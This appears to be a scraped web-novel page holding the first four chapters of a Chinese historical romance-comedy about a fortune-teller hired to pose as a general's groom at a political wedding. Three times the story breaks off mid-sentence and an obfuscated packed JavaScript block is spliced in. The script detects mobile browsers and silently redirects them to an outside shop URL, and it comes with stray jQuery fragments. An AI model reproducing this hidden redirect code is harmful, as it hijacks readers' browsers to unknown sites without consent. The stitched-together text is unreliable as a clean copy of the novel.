《夫人先别死,权臣他连夜改攻略》
1. 五十两代娶
鸠兹是瀛洲边境的小城。
喧闹的集市中,三枚铜钱抛掷空中,稳稳的落在一个破碗里。
程南无叼着根干草,盘膝坐在掉了漆的土地爷神像前,旁边立着个破布幡子。
上面字迹潦草的写着“天机可测,卦金十两,算的不准,概不退还,非力不足而是心不诚也”。
他瞥了一眼卦象,抄起碗,竟连碗带钱再次抛起,程南无手腕一翻,凌空扣住碗,三枚铜钱也一一接下。
旁边围着看热闹的几个孩子早已耐不住性子,嚷嚷起来:“你这人到底会不会算卦啊?”
“怎么摇来摇去的!”
程南无“哦”了一声,耐心解释道:“那几卦都不是我想要的,我再摇一摇,总能摇出喜欢的。”
说罢,他又如法炮制,三枚铜钱坠于碗底,叠出巽下乾上之象。
程南无掐指一算,若有所思地点点头:“清楚了,原来是这样。”
孩子们见他仍是装神弄鬼,顿觉无趣,发出一阵嘘声,一哄而散。
“三、二、一。”程南无对着孩子们跑远的背影,自顾自低声数完三个数,胸有成竹的看着站在他摊位前的男子,嘴角一扬:
“巽为风,乾为天,天风姤,不速之客将至。”他又抬指一推,“初爻由阴转阳,卦变泽山咸,竟是红鸾星动?”
程南无撩起道袍下摆,往后一靠,潇洒一躺,笑的轻佻:“不知是哪位小姐看上我了?”
那男子身形精悍,并不答话,只抬手将一锭银子丢进程南无面前的碗中。
“当啷”一声,分量不轻。
程南无眼皮都没抬,语气依旧散漫:“找不开,卦金十两,先钱后卦,概不赊欠。”
“五十两,买你办件事。”
程南无顿时坐直,方才的慵懒一扫而空,脸上堆起职业化的笑:“但说无妨,上至摘星捞月,下至捉奸拿双,贫道义不容辞!”
男子没心情听他胡扯,手一挥,集市角落里立刻涌上来三四个同样精干的汉子。
其中一人抖开麻袋往程南无头上一罩,收紧袋口,另几人抬起他便跑。
“代……娶?”程南无此刻面对满桌的珍馐,大快朵颐着,含糊不清地重复着这两个字。
这活儿新鲜,他混迹江湖多年,头一回听说:“你家少爷呢?”
林涧面色冷硬,伸手便要程南无退还银锭:“你不干,有的是人干。”
“干干干!”程南无咽下嘴里的肉,灌了口醇酒。
五十两!够程南无逍遥好一阵子了,“不过,这迎的是哪家姑娘?别是有什么麻烦吧?”
“能有什么麻烦?你只需换上喜服去迎亲,将新娘子接回后,任务便结束了,还管你一顿饭。”
听林涧含糊不清的说辞,程南无虽有疑虑,但面对白花花的银子,终究还是点头应下。
乱世之中,谁还没点难言之隐?五十两银子,开张真不容易。
迎亲的队伍吹吹打打,却透着一股难以言说的敷衍和诡异。
程南无穿着不合身的大红喜袍,骑在马上被颠得浑身难受。他总觉得这队伍里的吹鼓手和轿夫,眼神太过警惕,步伐太过沉稳,手上还附有厚重的老茧。
这阵仗不像迎亲,倒像是……行军?
程南无甩甩头,试图驱散这荒谬的想法。
队伍出了城,再往北走,就是西京国的地界。
官道两旁景色渐趋荒凉,程南无察觉不对劲,正想着是否要找个出恭的借口溜之大吉,便看到不远处,有几列侍卫,声势浩大的仪仗和几名身着官袍之人。
林涧扯住程南无马的缰绳,马儿不安地打了个响鼻。
“全城只有你气质稍微符合我家将军,你暂且冒充,迎亲结束,再给你五百两。”
坏了!程南无脑子里“嗡”的一声,方才那点侥幸心理瞬间灰飞烟灭。
这五十两……原来是买命钱!
他这才反应过来,早些时候,鸠兹城中就在传,西京和瀛洲欲和亲,西京长乐公主不日将下嫁瀛洲李大将军。
这李大将军名叫李爝,字景晖。瀛洲前任大将军李从珂之幼子,其母更是抚养当今瀛洲皇帝瀛宣帝长大的亲姑母。
论起来,李爝还算半个皇亲国戚,瀛宣帝待这位表弟亲厚异常,这才有了公主下嫁将军的趣事儿。
李家世代为将,满门忠烈。只是……五年前那场惊天变故,将军府长女李世稀随父出征,却致使十万大军近乎全军覆没,据传她弑亲叛逃,一代将门只剩李爝一人支撑。
这鸠兹虽地处边境,却是从西京通往瀛洲都城申都最近路径上的必经之地。
程南无脸上强自镇定,扯出一个惯有的玩世不恭的笑:“五百两?阁下好大的手笔。只是这冒充朝廷命官、欺瞒公主的罪过,怕是五千两也买不回贫道这项上人头。”
林涧眼神一厉,没想到眼前这道士如此机敏,仅凭只言片语和眼前阵仗便探查出事情的大概。
他手已按上腰间的剑:“事已至此,由不得你!乖乖配合,尚有生机,若敢坏事,立刻处死!”
程南无当即哈哈一笑,仿佛方才只是玩笑之言,变脸比翻书还快:“大人说的是!贫道……不,本将军定然不负所托,将公主殿下风风光光迎回来!”
地平线上,一支黑甲红袍的骑队率先而来,为首的青年将军勒紧缰绳,确认周遭安全,便挥手示意后方。
片刻后,几百名玄黑重甲步卒分为两列,在他们簇拥之下,赤朱描金的车驾终于浮现。
青年将军马上抱拳:“在下西京骁骑将军白瑞,阁下可是瀛洲李大将军?”
程南无茫然的指向自己,林涧挑起腰间的剑柄。
“没错,是我。”程南无立马乖乖配合。
白将军蹙眉,这瀛洲蛮子当真粗鲁无礼:“公主凤驾已至,望将军以礼相迎。”
程南无翻身下马,被引至公主车驾前:“末将李爝,奉旨恭迎公主殿下鸾驾。”
马车内寂静无声。只有微风吹动绣着金凤的车帷,轻轻晃动。
片刻,一名身着宫装、神色沉稳的侍女掀开车帷,利落下车,朝程南无盈盈一礼,声音清脆:“路途奔波,殿下有些乏累,请大将军迎我等入城安置。”
双方官员上前见礼,相互说着程式化的贺词。
完成仪式后,队伍即刻折返,护送的西京御林军和几千辆嫁妆车暂时留驻在城外等候。
一行人浩浩荡荡进了城。
程南无思绪转的飞快,他得找个机会脱身,反正银子在兜里,先跑为敬。
万一他被西京使臣拆穿了,那第一个被推出去砍头的就是他这个为了五十两代娶的骗子!
数十支利箭疾射而出!
“有埋伏!保护公主殿下!”白瑞将军的怒吼声瞬间撕裂了伪
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058082|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
装的平静。
队伍顷刻大乱。
方才那些看似普通的轿夫和吹鼓手,反应极快,抽出隐藏的兵刃,与冲出的黑衣杀手战作一团。
程南无的反应更是快的惊人,一骨碌从马上滚下来,险险避开劈来的一刀。
他顾不得形象,连爬带窜,趁着场面混乱不堪,撞开旁边一座府邸虚掩的朱漆大门,跌了进去。
恰在此时,一名黑衣刺客已突破层层护卫,直扑鸾驾,刀劈开轿帘!
秋实掷出手中剑,直接刺进了黑衣刺客的身体。
她疾步上前,轻唤了几声,无人应答,掀开车帘,脸色剧变,喊道:“殿下不见了!”
一抹红色倩影捂住受伤的手臂,趁乱一头扎进大门敞开的府邸。
几道持刀的黑影紧随其后。
直到身着铠甲的将领带着士兵冲出,一度失控的厮杀才被勉强压制。
府内也因闯进的刺客而一片惊慌,仆役奔走惊呼。
程南无专挑僻静处躲藏,七拐八绕,见一间厢房房门半开,想也不想便闪身而入,反手将门栓死死插上。
门外脚步声杂乱,几声闷哼之后,一切陡然归于死寂。
随后,门上传来两下敲门声,再三下。
一个女子的声音响起,甚至带着几分礼貌,隔着门板问道:“你在里面吗?”
程南无屏住呼吸,挪到桌边,抓起了桌上一方沉手的石砚,不敢发出丝毫声响。
下一瞬,“砰”的一声,门被一脚踹开。
“你在哪儿藏着呢?”那女子缓缓踱入。
“在床底下吗?”她弯腰查探,自问自答,“没有。”
“难道在衣柜里面?”她笑着走向靠墙的立柜,笑声却戛然而止,“也没有。”
“真会藏啊……”她语调悠哉,“那我只能勉为其难的再找一会了。”
程南无听见脚步渐近的声音,连心跳都快要停止。
“难道在帘子后面?”女子带着笑意的声音近在咫尺,一只白皙修长的手伸了过来,准备拉开帐幔。
程南无拿着手中的石砚,朝着预估的对方头颈位置狠狠砸下!
女子侧身躲开,程南无一击不中,毫不迟疑,一个跨步上前,直掐对方咽喉!
然而,就在他即将触及对方的刹那,他的动作僵住了。
红。
和他身上一样的喜服。
她穿的竟也是嫁衣?!
女子显然也惊慌失措,一只脚踩在了自己那过于冗长的裙裾上。
程南无刚从那短暂的震惊中回神,还没能来得及做出下一步动作,就见那团红色朝着自己压了下来。
天旋地转,程南无被撞得眼前发黑。
压在他身上的女子似乎也摔懵了,撑着手臂抬起头。华贵的珠冠歪斜,几缕青丝垂落,拂过程南无的下颌,一双杏眼因惊吓和疼痛蒙着一层水汽,清澈透亮。
两人的红衣铺陈纠缠在地上,不分彼此。
整个房间,只剩下两道紊乱的心跳声。
程南无看清她,浑身僵硬。
那张脸,与他几年前在瀛洲都城申都,远远瞥见过的那张,高坐于尸山血海之上、冷漠睥睨的侧颜……惊人的相似!
那个名字几乎要脱口而出。
李世稀?!
那个亲手葬送十万瀛洲儿郎,还夷平自家三族的女煞星?!
2. 穷凶极饿之徒
程南无的心脏几乎要撞破胸腔跳出来。
他混吃等死,骗财不骗色,但绝不想招惹这种极恶之徒!
程南无根本不敢动弹,她为何迟迟不动手?是觉得一刀结果太过便宜,想要慢慢折磨,欣赏他濒死的恐惧吗?
这个念头让他后背窜起一股寒意,脑仁嗡嗡作痛。
他绝望的环顾四周,想找个风水好一点的地方安然赴死。
压在他身上的李幼澄,此刻也终于彻底看清了身下人的模样。
这张脸生得极为出挑,红绮如花,妖颜如玉,弱不胜衣,眼尾微扬,一副多情风流之相。
“你长得......”李幼澄盯着他,喃喃低语,“深得我心。”
“......”程南无刹住了正在脑中上演的十几种凄惨死法。
什么?这反应完全不对!
“你这是什么表情?”李幼澄对他脸上那混杂着惊恐、茫然和难以置信的神色颇为不满,微微蹙眉,“我是你的救命恩人诶。刚才要不是我把那些杀手引开,你哪能安然无恙地躲在这里?你不知感恩图报也就罢了,居然还想用砸死我?”
?
程南无彻底懵了。
这人,这语气,与杀伐决断、冷血无情的女将军气质截然不同,可那五官轮廓,又几乎是一个模子刻出来的!
当年他只是远远瞥过一眼,或许是他没看清楚?
程南无强迫自己冷静下来,如若真是那女罗刹,早该一刀结果了自己灭口,哪还给他机会在这里胡思乱想?
难道真的只是长得有几分像?
他心一横,失礼的握住李幼澄的手,入手处,肌肤细腻温润,指节纤长,莫说是常年握兵器磨出的老茧,便是连一点粗糙的痕迹都无。
一个自幼习武、征战沙场的女将军,手指不应该柔软无骨。
李幼澄被他这突如其来的主动弄得微微一怔,随即,她另一只自由的手也覆了上来,紧紧回握住他的手,指尖甚至还在他手背上无意识地挠了一下。
程南无沉浸在自己的想法里,根本没留意到这略显亲昵的小动作。他深吸一口气,胆大了几分,尝试着忽悠:“公主,您能起来吗?此地不宜久留,我们得赶紧离开。”
“李爝,你是不是想等我起身后,甩了我跑路?”
!
程南无心头一紧,竟被她猜中了心思!
他能怎么说?难道要坦白自己只是个收了五十两银子来代娶的冒牌货,结果遭遇伏击差点没命,现在只想卷款跑路?
“我们一定要用这个姿势说话吗?”程南无看着跨坐在他腰上的李幼澄,试图挣扎了一下,语气带着几分无奈的恳求。
“换一个也行啊。”李幼澄不知从哪里像变戏法一样掏出麻绳,灵活地挽了个结。
“刚找你的时候在杂物房顺的,心想着或许能用上。”她晃了晃手中的绳结,笑容纯良又无害,“把你我的手绑在一起,这样就算再遇到什么危险,我们也不会走散了,是不是很贴心?”
程南无轻咳一声,义正严辞的拒绝:“不必了,现在这样挺好的。”绑在一起?那他还能跑得了吗?!
李幼澄似乎有些失望,把麻绳往旁边一丢。
程南无努力忽略此刻尴尬的姿势,大难临头各自飞,眼下这浑水太深,他决定祸水东引,坦白从宽。
“公主殿下,实不相瞒,我其实并非李爝李大将军。”
他观察着李幼澄的神色,见她并无意外,便继续硬着头皮道:“我只是个江湖相士,一时糊涂,收了五十两银子,代娶的,你和李大将军有何恩怨,要不去找他本人清算?”
话音刚落,李幼澄双眼瞬间发亮,音调也升了一个八度:“好巧!”
她眼中笑意荡开,俯身凑近程南无,呼吸几乎拂到他脸上:“我也是收了五十两银子,替嫁的。”
“所以,你是假新郎,我是假新娘。那就不要相互为难了,戏演的差不多了,既拿了钱,我俩赶紧跑吧?”
程南无迅速理清来龙去脉,西京和亲使团恐怕早知长乐公主抵达瀛洲会遭刺杀,故而花了五十两,找了个替死鬼。
而瀛洲迎亲使团将计就计,用了同样的方法,企图引出幕后黑手,一网打尽。若他猜的不错,此刻真正的李大将军,恐怕已经在外面稳住了局面。
戏台子已搭好,只待瓮中捉鳖,那么他们这两个引出鳖的冒牌货,就没有什么留着的必要了。
程南无几乎是条件反射地从怀里摸出三枚铜钱,抛向空中。
铜钱落地,他迫不及待地看去。
“坎为水,地水师。六爻皆动,卦变离为火,水火未济……”程南无喃喃解读,脸色越来越白,最终抬眼看向一旁仍一脸无辜好奇的李幼澄,“死局,无生门。”
门外忽然传来一声极其轻微的脚步声。
“这里找过了吗?”
程南无认出那是林涧的声音。
“此间府邸我与白将军皆已搜过,大人不妨去别处看看?”秋实拦下林涧。
程南无与李幼澄同时望向门口。
李幼澄一把捂住了程南无下意识要叫喊的嘴,另一只手用力按下他尝试起身的胸膛,整个人伏低,屏住了呼吸。
程南无感受到她捂在自己嘴上的手,冰凉而有力。
而她紧挨着自己的身体,全神贯注地倾听着门外的动静,哪还有半分柔弱的样子?!
门口的对话声停顿了片刻,脚步声似乎渐渐远去。
直到外面彻底没了声响,李幼澄才缓缓松开了捂着他嘴的手,低声开口:“你听见了吗?”
程南无先是点头,又猛地摇头,努力用眼神传达自己的无辜与顺从,切莫顺手了结了他这个无关紧要的小人物。
“你没听到我肚子在叫吗?”李幼澄语气委屈,“我饿了。”
饿了?
在刚刚经历了追杀、躲藏、并且用极其暧昧的姿势压制住一个陌生男子后,李幼澄居然说她饿了?
这比程南无算出的“死局无生门”还要让他难以理解。
李幼澄似乎完全没觉得自己刚才之言有何不妥,那双杏眼依旧清澈无辜的盯着程南无,仿佛如果程南无不给她找吃的,他就是天底下最十恶不赦的坏人。
他现在可以确认,眼前之人,只是容貌相似。那位,怎么可能说出这种天真又莽撞的话?
“你脑袋是装饰品吗?平时多思考好不好。”确认李幼澄不是那人,程南无言语间也少了些顾忌,试图让她认清现实,“外面可能全是杀手,刀架在脖子上的时候,你告诉我你要吃饭?”
“我知道呀。”李幼澄点点头,表情理所当然,“吃饱才有力气跑,你总不想我大声喊叫,让人过来抓我们吧?”
威胁?程南无行走江湖,最不怕的就是威胁。
“你起来,我想想办法。”他叹了口气,妥协了。跟一个脑子不太清醒的人讲道理,显然是徒劳的。
李幼澄应了一声,从他身上起来。
程南无瞬间感到腰腹一松,他坐起,往旁边挪了挪,与她拉开些许距离,捡起地上的铜板。
李幼澄看着他避之不及的动作,没说什么,只是安静的拍着嫁
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058083|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
衣上的灰尘。
“那你再算算,看看哪里能找到吃的?或者哪里安全?”李幼澄兴致勃勃的提议。
程南无无语望天,他的铜钱是用来窥探天机、测算运势、偶尔骗骗……呃,赚点口粮和酒钱,不是用来找厨房的。
他懒得跟她废话,转身要走。
“你去哪?”李幼澄连忙抓住他的胳膊,这番动作让她疼的倒吸了一口凉气,先前紧张未觉,此刻松弛下来,她手臂伤处剧痛汹涌袭来。
李幼澄龇牙咧嘴,小脸皱成一团,眼前阵阵发花,却仍强撑着抓住程南无的衣袖:“你要不还我一次救命之恩?我这手臂疼得要命……”
程南无微微眯眼,苦肉计?
他摇头,毫不怜香惜玉:“少管闲事,坐享其成,无功受禄,此乃吾之道也。”
说罢,便要抽回手。三十六计走为上计,他可不是什么慈悲为怀的大善人。
“小心。”李幼澄捂着手臂,突然惊呼。
程南无充耳未闻,手撑窗沿,利落地抬腿跨出。
然而,就在他大半个身子探出窗外,双脚即将沾地的刹那。
一道身影从旁侧视觉死角闪出,程南无都没看清来人的动作,只觉一股大力抓住他刚刚探出窗外的脚踝。
他猝不及防,整个人重心瞬间失控。那人向上一提一拽,他就这样被掷回房间。
程南无后背重重撞在墙面,一口气没上来,呛得咳嗽起来,剧烈的撞击让他五脏六腑差点移位。
晕眩中,他勉强抬眼望去。
只见窗前立着一名女子,正是那个叫秋实的侍女。
秋实的目光越过程南无,看着脸上脏兮兮的李幼澄,急道:“你对公主殿下做了什么?”
程南无头皮发麻,秋实显然并不想李爝找到他们,所以方才,才会撒谎支开林涧。
那她就是一直守在此处?
她明知李幼澄是假冒,为何还要称呼她公主?难不成,只有他一个冒牌货要被清算?
秋实抬手,臂上的袖箭正对准程南无。
李幼澄见状,想也不想,张开双手拦在程南无身前:“秋实,不要伤害他!”
“闪开!”秋实冷喝。
“他不是李爝。”李幼澄解释道。
“那就更留不得了!”秋实冷笑,杀意毫不掩饰。
“他只是个代娶的,留他一命,或许会有些作用?”李幼澄试图寻找理由。
秋实沉默地盯着她看了片刻,最终收了袖箭,很显然,李幼澄的话,说服了她。
“你是自己晕?还是我来帮你晕?”
李幼澄叹了口气,她知道秋实这是真的动怒了,用力捏了胳膊上的伤口。
顿时,更多的血迹渗透了嫁衣,晕开一片暗红,李幼澄看向胳膊,两眼一翻,晕了过去。
“蠢货。”秋实一愣,她并不是想让李幼澄晕,眼神更加冰冷,瞪向程南无。
程南无干笑了两下,试图缓解这令人窒息的氛围:“原来你说的是让我晕啊,哈哈,明白,完全明白!不用你来,我自己就可以。”
说罢,他眼神四下乱瞟,抄起地上的砚台,比划着往自己颈侧砸去。但终究是怕痛,砚台挥到一半,没能忍心真砸下去。
程南无讪讪放下砚台,从怀中摸出蒙汗药,也顾不得剂量多少,脖子一仰,将一整包药粉尽数倒入口中。
一股强烈的眩晕感迅速袭来,瞬间淹没了程南无所有的意识。
在彻底失去意识的前一秒,他脑海里只剩下一个念头:
为了五十两,买卖亏大了。
3. 自救遇上碰瓷的
数日后,鸠兹驿站内。
西京和瀛洲两国官员争吵声几乎要掀翻屋顶。
西京鸿胪寺王大人率先发难:“贵国当初遣使愿永结同好,将华阳公主嫁予我朝七皇子,谁知华阳公主竟如此不识大体,仅听闻边境一城风波,便不分青红皂白,寻了短见。此举何其愚笨,累得我家七殿下悲恸过度,随她而去,这笔血债,我西京还未向贵国讨还!”
“王大人慎言!”瀛洲一位须发皆白的老臣猛地站起,强压怒火,“我瀛洲梓城惨遭屠戮,满城白骨,此乃不争之事实!谁知是否有人贼喊捉贼?华阳公主心系故土,闻噩耗而殉节,乃大义所在,岂容妄加诋毁!”
“好一个忠烈大义!”西京和亲使团的孙副使拍案而起,手指几乎要戳到对方案前,声色俱厉,“我西京皇恩浩荡,不念旧恶,出降嫡长公主长乐,再修秦晋之好!谁知公主鸾驾刚入瀛洲地界,便遭刺客惊扰,险死还生!更可恨者,尔等竟敢以假将军迎亲,我西京诚意至此,瀛洲何以交代?”
瀛洲礼部侍郎脸色瞬间变得难看,自知在代娶一事上理亏,斟酌一番:
“孙副使息怒。李大将军早已料到会有歹人蓄意破坏此段良缘,假将军明面迎亲,是为引蛇出洞,真将军则暗中布置,擒拿真凶。此乃万全之策,何来侮辱之说?”
“万全之策?”孙副使像是听到了天大的笑话,冷嗤出声,“公主至今昏迷不醒,我西京护卫死伤惨重!这就是贵国的万全之策?今日若不见真将军当面给个说法,我等即刻护持公主凤驾,返回西京,这和亲,不谈也罢!”
这话已带上了明显的威胁,厅内气氛瞬间降至冰点。
西京官员纷纷附和,指责声此起彼伏。
“你们西京欺人太甚!”瀛洲官员也不甘示弱,反驳声一浪高过一浪,眼看局面就要失控。
“此婚事关乎两国国本,岂能儿戏?”
一道清朗而沉稳的声音,清晰地压过了所有的嘈杂,从侧门方向传来。
众人循声望去,只见一名身着银亮铠甲的少年将领踏入正厅。他身姿挺拔如松,肩背宽阔,肤色是健康的小麦色,剑眉下双眸璀璨如星,透着一股冷峻。
正是李大将军,李爝。
见到他,瀛洲礼部侍郎如蒙大赦,瞬间找到了主心骨,连忙迎上前,低声道:“将军,您可算来了!”
李爝颔首,走至两方之间,目光先落在西京正使白瑞将军身上,随后转向孙副使,抱拳一礼:“白将军,孙副使。李某身为迎亲正使,护卫不周,致使公主受惊,贵属折损,难辞其咎。李某已自请鞭刑二十,并上书向陛下请罪。”
他只字不提代娶一事,将所有的责任一肩担下。
西京就算坚持要交代,瀛宣帝也只需严惩他一人即可,联姻之事不会受丝毫影响。
“查清之前,公主殿下的安全由我的亲兵接管。鸠兹驿站内外已布防,为诸位大人安全计,还请再安心休息几日。”他语气不容反驳,“至于接下来的行程……待公主凤体稍稳,便按原定计划,启程前往申都。”
孙副使被这强硬的态度噎住了,气焰虽矮了半截,仍不退让:“将军分明是要软禁我等与公主殿下……”
“不是软禁。”李爝打断他,“是保护。刺客尚未伏诛,敌暗我明。李某在此,已立下军令状,以这项上人头,担保公主殿下周全,直至安全抵达瀛洲皇宫。”
“那伙贼人,佯装劫财,实则只为杀人灭口。据李某初步探查,杀手分明两拨:一拨针对西京御林军,一拨专杀公主。想必白将军战后清点,应当已发现,公主殿下的嫁妆,损失其实微乎其微。”
白将军面色凝重,身为和亲正使,亦是军中之人,深知军令状的分量。
李爝趁势又道:“此外,听闻我有一名亲兵,在混乱中寻找公主殿下时,不慎被白将军部下所擒。此兵忠心可嘉,还请将军高抬贵手,放他归来。”
白将军知道李爝话中所指的亲兵是那个代娶的。他抬眼,与李爝对视片刻,终是开口:“三日之内,静候佳音。逾期,便只能提着那人的头,来找大将军讨个说法了。”
与驿站正厅的喧嚣紧张截然不同,驿站深处一间阴冷潮湿的临时牢房里,只有头顶一方狭窄的气窗,透进些许月光。
程南无第三次清点着自己此刻的全部家当:一件被扒去所有金银配饰的喜服,三枚铜板,还有满脑子的江湖骗术。
不对,那三枚相依为命的铜板不见了!定是被那些看守搜刮走了。
脚步声从走廊尽头由远及近,程南无立刻眼皮一耷拉,恢复了半死不活的状态。
“任头儿,这家伙今天一点动静都没有,该不会是死了吧?”年轻官差略带担忧。
“死了倒干净,省得咱们天天守着。”任头皱着眉头,“打开看看。”
任头走了进来,用腰间的刀鞘毫不客气地捅了捅程南无的腰:“喂!装死呢?”
程南无痛苦地呻吟一声,缓缓翻身,突然剧烈咳嗽起来,他转头,趁机将昨天藏起来的馊米糊抹在嘴角,做成呕吐物的样子。
“两、两位官爷...水...给我点水...”程南无说完,咳的更狠。
年轻官差有些慌:“任头,他看起来真不行了,脸色白得吓人。”
任头警惕地后退半步:“别靠太近,谁知道是不是染了什么病。”
程南无蜷缩着身体发抖:“冷...好冷...”
“走走走,把门锁上。”任头像是怕被什么脏东西沾上,连声催促着,率先退了出去。
接下来两天,程南无时而假装高烧说胡话,时而咳嗽不止。
送饭的人再也不进门了,只是从栏杆缝隙把碗推进来,并减少了停留时间。
借着这个机会,程南无成功藏起了一块摔碎的碗茬,边缘还算尖锐。
连日落雨,使得这间偷工减料的牢房墙体早已吸饱了水分。程南无仔细观察过裂缝走向,东南角结构最为脆弱。
这晚,戌时将近,狂风骤起。
程南无爬到门边,用力喊道:“赤蛇绕月,地龙翻身,大凶之兆,戌时三刻!”
值守的官差被他的喊声吸引过来,不耐烦道:“鬼叫什么!找死?”
“官爷,速报你们将军,戌时三刻,东南角先塌!”程南无瞪大双眼,状若癫狂。
“疯言疯语!”官差嗤笑,但眼神却不由自主地瞥向牢房东南那处不断渗水的墙角,心里有些发毛。
程南无看准时机,用瓷片猛刮栏杆,刺耳声在雷声中格外诡异。恰在此时,天上惊雷炸响,整个牢房微微震动,墙角尘土和碎砖接二连三
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058084|194918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的落下。
那官差脸色顿时惨白,此刻正是戌时三刻!分毫不差。
程南无故作高深:“子时阴气至盛,一阳初生,正是地气变动最烈之时。金能泄土,正可化解地龙翻身的土行煞气。请官爷将我速速移送,我方能以身为引,否则下一震此处必毁,诸位性命攸关啊!”
混乱中,任头带着雨气随几人冲了进来,脸色惊疑不定,显然他也听到了雷声和动静。
下一瞬,东南角的墙开始坍塌。
“有个废窖,带他过去。”任头下令,“小心点,别碰他的身子!”
两人用布裹着手架着程南无,几乎是粗暴地将他拖出了牢门。
“官爷,”程南无气息奄奄地请求,“能否给件干净衣裳?这喜服秽气太重,恐冲撞了地脉...”
任头此刻已是宁可信其有不可信其无,嫌恶地瞥了一眼,随手从旁边杂物堆里扯过一件不知哪个囚犯换下来的灰色旧囚衣,甩给他:“快换上!”
只留下两个年轻官差在外看守,任头便带着其他人匆匆去查看墙体损毁的情况。
两个年轻官差远远躲到廊下避雨,低声抱怨。
“真倒霉,摊上这鬼差事。”
“谁说不是呢?这要是真有病...”
程南无套上囚衣,侧耳倾听门外没了动静,取出他贴身藏着的骨锉,那是一个用骨头制成的镰刀状的钩子。
这是他保命的家伙之一,之前搜身被发现但因不值钱未被拿走。
这废窖的门锁远比之前的简单,不过三声轻响,锁舌便悄然滑开。
雨声嘈杂,程南无借灌木阴影潜至西墙,他早留意到此处有堆废弃建材。他手脚并用,轻踏而上,双手扒住墙头,翻身越过,落入夜色。
夜雨淅沥,程南无不敢停留,沿着记忆中来时的方向,一路狂奔。
与此同时,驿站另一侧,一道倩影正笨拙地攀爬靠墙的大树,借着枝丫离墙并不宽的距离,摇摇晃晃地跳上墙头。
李幼澄坐在湿滑的墙头,朝下望了望,倒吸一口凉气,默默估算着这高度跳下去,会断几条腿。
还未等她下定决心,要不要冒着后半生残废的危险翻下墙去,树下已有侍卫现身,拱手劝道:“公主殿下,您不能离府,请您回房。”
“你别过来!”李幼澄一脸抗拒,身体往后挪,“我眼睛一闭,什么事都做得出来的。”
眼看那侍卫似乎准备伸手强行将她拉回,李幼澄把心一横,正准备往下跳,眼角余光却恰好瞥见墙外小巷中,一个鬼鬼祟祟、正贴着墙根疾走的身影。
那人穿着一身不合体的灰色囚衣,身形熟悉,不是那个代娶的程南无还能是谁?
李幼澄眼前一亮,如同抓住了救命稻草,也顾不得会不会引人注意,压低声音挥手呼喊:“我在这!”
程南无没想到关押他的地方距离驿站竟如此之近。他瞥见墙头上的那抹倩影和侍卫,心里暗骂一声晦气,选择彻底忽视,脚下步伐加快,只想赶紧遁走。
这人就是个麻烦精,沾上准没好事。
李幼澄见程南无非但不停,反而要跑,她真急了,提起身上那身繁复碍事的裙摆,也顾不得危险,看准程南无前行的方位,往下一跃:
“代娶的,你不讲义气!快接住我!”
4. 对狗都是用吼的
程南无只觉头顶光线一暗,一道阴影带着馨香扑面而来。
两声闷响几乎同时响起。
程南无被结结实实砸在下面,后背着地,摔得他眼前金星乱冒,两人滚作一团摔在地上。
李幼澄倒是没受什么伤,毕竟有程南无这个现成的人肉垫子缓冲,她晕乎乎地撑起身。
墙头那青衣侍卫刚欲张口示警,一道巨大黑影,已无声无息地闪至他身后!
那人剑起剑落,鲜血四溅,侍卫的头颅与身躯瞬间分离,他甚至来不及发出一丝声响。
黑影眼疾手快,一把抓住即将坠落的尸身,轻巧地将其安置在屋檐的瓦片上,未发出半分异响。
李幼澄脸色惨白,汗珠聚集在鼻子尖儿上,眼睛越瞪越大,眨都不敢眨一下,她强抑心悸,一手扶额,另一手却颤抖着张开,将刚从地上爬起的程南无护在身后。
“要杀要剐冲我来,别伤及无辜。”
“你在这儿逞什么强?”程南无抓起李幼澄的后衣领,低喝道,“得罪了!”
不等她反应,已将她向后方丢去。
“打架这种事情,你也擅长吗?”李幼澄在他身后问道。
程南无脚下步伐一错,连退好几步,才避开劈下来的一剑。
似乎,并不擅长……
程南无心有余悸地拍了拍胸口,嘴上却还不忘贫一句:“好险,好险,差点就没命了。”
月光下,那黑影逐渐清晰起来。一袭黑色甲胄,面戴鎏金禁制面具,最引人注目的是,他身后背负着一个巨大的琉璃莲花玉匣。
那是......阿萨辛权主座下的灵!
程南无头皮一阵发麻,不敢有丝毫犹豫,往后撤一步将李幼澄护在身前,万一遇到危机情况,这个位置非常容易跑路。
灵那被银甲严密包裹的右手紧握着剑,再次朝他们袭来。
程南无扭头就跑,朝惊魂未定的李幼澄大声吼道:“傻愣着做什么?!等着跟我在这儿做一对亡命鸳鸯,一起殉情吗?!”
李幼澄被他吼得一怔,正欲反驳些什么,就见程南无已窜出了老远。
她气得跺了跺脚,眼看那灵似乎将注意力转向了她,只得跟上程南无逃跑的方向。
然而,那灵却并未追击。在他的正北方向,突然爆起冲天的火光和滚滚浓烟。
